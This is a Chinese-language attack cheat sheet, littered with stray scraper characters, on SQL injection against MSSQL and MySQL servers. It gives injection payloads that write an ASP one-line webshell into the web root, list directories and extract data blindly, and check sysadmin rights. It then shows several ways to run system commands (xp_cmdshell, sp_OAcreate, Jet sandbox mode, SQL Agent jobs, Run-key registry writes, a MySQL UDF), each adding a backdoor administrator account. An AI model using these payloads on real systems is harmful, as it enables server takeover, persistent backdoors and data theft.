MSSQL语句导出一句话木马2 c+ a; ~ v/ |% C1 N' p
首先确定网站的WEB路径
6 Q' g9 H Z& b3 W1 W;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
! j" h& P |/ ?" ~4 G1 V3 h, t# O
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
7 b: H7 I3 j* `3 Z) C//将一句话木马插入表中
4 M, q( c2 r& P0 H
G# a5 P0 E4 Q" ~6 x;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
# D# o! Y! K4 u! d//导出一个ASP文件
. F8 W6 O4 L. {" `7 g; `8 g; N x6 ^7 U1 s- t4 s' k6 H- R2 m9 @6 I; H* n' H- ?
# P. K P; R" G. l3 B6 U关于MSSQL列目录! I0 C G& g/ w% E- Q5 ^
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表# z+ D; a& u, B; f8 w5 `" x0 m+ ~
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表; |; Q9 r- d, M+ _" I
' ~( U% u8 H5 S; m5 p. h
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录; c. W! N: ?1 Y H0 w
, b9 j; E- X% PAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段1 f, o: k5 S4 P: d" V
, b! j& q: t( o7 `: q
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
4 b* p2 V' k& _5 ^ W7 \3 y
; l( [% z& S5 o' J" U! \; ^* ~& x. P9 }4 X- B6 M ^3 I
数据库版本和权限查看1 U6 x) D ^ F5 X8 N$ T7 T
and 1=(select @@VERSION) //查看详细的数据库信息.
: R2 t: A0 z/ b- o- z' pand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA7 E5 k, N' y" R! q: F4 ?# c: Q2 [1 o# y
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER0 J, V3 D; e1 c" l' Y- u! A, @6 a' i
+ c; L/ o# U7 ~& V, r' b# ]' d
1 q7 b/ _6 Y* l: h3 X ]. U# r2 z% b( G
1.利用xp_cmdshell执行命令
, |+ Z! L" s& E4 vexec master..xp_cmdshell 'net user rfire 123456 /add'; |3 h3 f, n0 m5 v% E
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
1 x" U: o B- j7 q- G- `* L6 g* ^7 @/ A/ u
恢复xp_cmdshell存储过程 O. U/ u8 B4 C* u
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
4 ], T; _) o) t& S6 I5 x
6 R! z; n+ {+ r, E
2 _ G5 @2 @+ f: g; D F2.利用SP_OAcreate和SP_OAMETHOD执行命令
# d3 v2 f! R J/ F+ s在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下 ]6 h8 O; B. r9 X X; Y6 H
DECLARE @shell INT //建立一个@shell实体
]7 L' D, c1 z- BEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例, h% O2 M. n+ z
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例# X9 ?: N7 p. `! S
* M9 {0 F+ Q. F2 i* k0 }
4 W) a5 n9 E6 U4 ]; V3.利用沙盒模式
% {% Z$ B: V7 H- a, R/ G @ Y先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。6 c' Q' t8 d$ }" w8 t
开启沙盒模式:5 J$ Y8 b+ s* W- V; K' N
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0( i) R H2 S$ V- C- I8 p; s0 `; [
" T9 n/ C% _# v& ^2 g5 r1 f执行命令:
6 S, y7 ] |. w6 e, rSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');0 \) v( S1 w$ B/ ?( U
2 L0 q5 S" J' t9 c7 i2 L
/ k, Y V6 c7 {) F2 m- H$ Z* t
4.利用SQL代理执行命令
+ W4 W; k$ x$ a# P# i8 r4 gEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务
`: o2 ^& B* L5 J6 `4 W/ f# w6 b
执行命令:
8 n& j+ z( r1 d) {% k3 Muse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错% R$ I0 p5 p0 J3 }: m; y9 s
exec sp_add_job 'x'
& k. ^4 ] |" D4 g+ Hexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
/ x% S. N, K0 K6 C [( Pexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
8 O' e; U: O: L3 Q! q
4 F1 C6 _) X* V8 a5 Z6 C' X u* n# x3 y- `* V
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
: S2 Z% \7 Q {" w. d2 QEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'' z$ @- F/ t. ?; O9 B3 T) F
4 c# {+ w: [* M& w& Z' w. d* F
, H- I3 J! S1 ^0 `6.MYSQL的命令执行& T M6 ?- g' O6 z. F
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
# d( P6 v9 @. H6 q首先要在su.php下导出c:\windows\udf.dll5 Q* P" z4 n, ^' R+ d8 S Z
导出后执行创建自定义函数命令:* y3 d$ B# q, r( x: q/ l
Create Function cmdshell returns string soname 'udf.dll'
* `4 y% \ L7 @. r6 f' u2 J执行命令
" L& |! n7 a# `) i/ A5 Y4 s+ f$ @( Qselect cmdshell('net user rfire 123456 /add')
6 e9 j6 I- U/ f执行后删除函数 drop function cmdshell9 O2 I% z5 g" g9 F
|